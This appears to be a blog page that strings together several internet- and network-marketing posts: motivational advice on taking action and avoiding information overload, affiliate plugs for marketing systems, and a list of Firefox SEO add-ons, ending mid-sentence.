Today is the day to change your mindset. Today is the day you’re going to take action to improve your life. Today is the day that you’re going to delve into your hard drive and dig out that program, that system, that training that you always meant to follow but never got round to.

And if you haven’t got anything like that on your hard drive then have a look through the recommendations on this blog. The two systems which have proved most popular, both with my readers and myself, are Profit Praxis and MOLB . Both give you the keys to success. Both follow a step-by-step process that is guaranteed to work if you actually follow them through. Read my reviews (by clicking the titles above) and then the salesletters for each and see which appeals to you.

Then, most important of all, start thinking like a marketer. You know you really can do this, all you need to do is make a start and the rest will follow.

Alternatively lie back on the couch, switch on the TV and put it off for another day. The choice is yours!

Source: Become Successful

Do you ever feel like if you learn/see/hear one more thing, you brain will start leaking out of your ears? Welcome to Information Overload .

I feel your pain.

I keep hearing from all the trainers, coaches and guru’s that it’s simple . And they each list "everything" you should do to be successful.

And guess what? Their lists don’t match!

Each trainer/coach/guru lists 5-9 things you MUST do to be successful online. How do you know which is really the one that you need to do?

Well, frankly, it’s gonna depend on you. I know that wasn’t what you wanted to hear, but dang-it, it’s the truth and I promised you truth above all, right from the beginning. It’s going to depend on your goals, the results you are expecting and the method you choose to give you those results.

But I digress. We are talking about how to avoid information overload.

It’s a matter of mindset, discipline and habits. When you are first starting out with a new "prospecting" method like using the Internet, you need to do some research, explore your options and then pick one .

Notice I didn’t say buy every book or product out there to teach yourself, nor did I say read only one . You do need an overview of what’s possible. And you need to know who is doing it successfully. But in the end, you need to choose one thing and then master it. Test it. Track it. Apply it. Study it. Don’t move onto the next "method" or "process", until you have the first one "down pat".

Trust me, I know it will be tempting to spend all your time researching, buying books that promise you 3 simple steps to financial freedom or listening to training calls from marketing guru’s morning, noon and night. But do you know why it will be tempting? Because if you are still researching and studying, you aren’t doing .

If you aren’t doing, you aren’t failing. Can you say "comfort zone"?

Listen, the number ONE reason you will succeed in this (or any) business, isn’t the marketing method, or the capture page, or the autoresponder (although these are all important pieces of the puzzle). No, the number one reason you will succeed, is because you took action. Massive action. Focused action. And you can’t do that if you are still chasing the hype.

There are thousands, no - tens of thousands of people on the Internet today, all hawking their "get rich quick" products, books and training courses. Each one promises you that you can quit your day job, fire your boss and retire in 1 year.

Tell me . . . in your heart . . . do you really think that is possible?

Nope, me either.

Success requires work. Anyone who tells you they have a system you just have to join to be massively wealthy overnight is flat out lying to you. But, I digress again. Sorry for the rant.

To Avoid Information Overload

1. (Focus ) Train yourself to look at one thing at a time. For example, if you are building a list using free traffic techniques, focus on that. All your efforts should be on that one thing until you can do it in your sleep.

2. (Consistency ) Train yourself to be consistent. You can’t succeed doing something only when you have extra time , or when everything else "pressing" is done. Allocate [X] minutes/hours per day for that task, and do it. No matter what.

Not doing it is only hurting you.

Don’t let obligations to others short-change you . If you are spending all your time doing something for someone else, who is growing your business? Short Answer? No one .

3. (Action ) Train yourself to be action oriented. If you are lying awake at night and an idea about how to do (better) what you are trying to do flitters across your brain, do it. The very next day. Take action. Even if it’s wrong action, it’s still got value to you, especially if you are tracking and testing like you should be. It is teaching you what doesn’t work .

You should have noticed that all three things I listed involved the word "Train ". That’s not an accident. You control your success or failure. No one else. Do you want it? Then train for it.

Alright, this post turned into a kind of a rant, and I am sorry about that. I just get so frustrated when I start mentoring someone and they come to the "table" with 43 eBooks, 14 DVD’s and 29 CD’s but not one single "action" under their belts.

I blame it on Information Overload.

Cenay Nailor is an Expert Internet/Affiliate/Network Marketer who hates rejection and chasing dead-end leads. To learn more about how she completely stopped having hotel meetings, home parties and *bump into’s* and still grew a lead database of over 400 prospects while generating over $3,000 in less than 30 days, even though no one joined her business, click this link ==> Cenay Nailor - Online Success Coach

Sara Christiansen of Pajama Professional fame offers some insight into tools and add-on’s you can use to help you stay on track with your goals, tasks and to-do lists. I think you will like her style as much as I do, so head on over and check out her post.

Just to tease you, here’s an excerpt:

As I am a sucker for online apps (isn’t everyone these days?), I started my search for the perfect GTD application there. I had a small set of criteria because I wasn’t really sure what I would find:

1. Easy and Intuitive: I didn’t want to spend a load of time learning how to use it.
2. Fun and Pretty: If I am going to dedicate some of my time to a new application I want to enjoy it.
3. Free: My goal this year is to reduce my spending, not increase it to keep organized.
4. Online: I want to use it for work and home or else I’d just use a hipster PDA .

Source: Pajama Professional | Author: Sara Christensen . Maximize Your Earning Potential, In Your PJ’s.

It’s heady company I can tell you.

These are some of the best of the best in the Network Marketing industry, and definite leaders within the Magnetic Sponsoring community. I have watched over the months as they helped countless people in the community forums, offered videos and articles all the while honing their skills and marketing efforts.

This small free report details the experiences that 8 people, leaders within the community, have to say about the Magnetic Sponsoring concept, the Magnetic Sponsoring book, MLM Traffic Formula and even Building on a Budget.

So, even though I am blushing to my toenails, I am honored to offer this free gift. The Insider Report is a no-holds-barred, tell it like it is, unvarnished truth about one of the most popular *systems* out there today. Click the link below to claim your free copy. I would love to hear what you thought about the book, so drop back by and leave a comment. (I double dog dare you).

Give Me The Free Insiders Report

In the past, it was always risky to start your own business.

Not so any more…

Recently, changes in tax laws have leveled the playing field, and direct selling provides an unparalleled opportunity for millions to take responsibility for their own economic wellness. It allows them to create long-term financial stability and even realize significant wealth, all the while enriching the lives of countless others.

Although I add two additional items to *my* list, her Top 10 Reasons are worth a quick read. (I added my top 2 in the comments area of her post).

Check out "Top Ten Reasons To Be A Network Marketer " by Carol Hansen.

And poke around her site, she offers a lot of great info.

Called Micro-Blogging, Twitter allows you to post short (only 160 characters) to a Web 2.0 style community of followers, letting them know exactly what you are doing within the Web 2.0 world.

In addition to being fun to watch what others are doing, Twitter let’s me see exactly who is active online and working within the same field/industry I am. I get hints, tips and laughs out of Twitter.

Want to *Follow Me* on Twitter? Click this link –> Cenay On Twitter and then click *Follow*. Looking forward to seeing what YOU are doing.

The first in my list because (in my humble opinion), it’s one of the most important.

I like to just be able to glance at something and see if it is worth doing or not. Over time in the SEO game you sorta learn a feel for estimating keywords and markets, but it is helpful to have a few additional data points, especially if you are new to the market.

This tool was designed to add more data to Google and Yahoo! to make it easier to evaluate the value and competitive nature of a market. SEO for Firefox pulls in many useful marketing data points to make it easy get a more holistic view of the competitive landscape of a market right from the search results. In addition to pulling in useful marketing data this tool also provides links to the data sources so you can dig deeper into the data.

For example, SEO for FireFox adds useful market research data right into Google and Yahoo’s search results, including PR, Age, Links (pointing to the domain), del.icio.us bookmarks, Alexa rating, WhoIs and a lot more.

Obviously, this is an AddOn for FireFox, my browser of choice. In addition to being more secure than Internet Explorer, it’s also faster. Multiple tabbed browsing allows me to review more than one site at a time as well. I highly recommend FireFox when you are serious about market research and comparison analysis. You can get your own copy of FireFox (free) here: Mozilla FireFox.

RankQuest SEO Toolbar

A handy toolbar for FireFox that allows you to do very indepth research about any site on the web. When you are on a page, click one of the many toolbar options like *Meta* which shows you exactly what the site is using for keywords or description. Click the *Popularity* button and see Link Popularity or Search Engine Saturation (the number of pages in the indexes for Google or Yahoo for that domain).

SearchStatus

This cool addon displays the Google Page Rank and Alexa rank,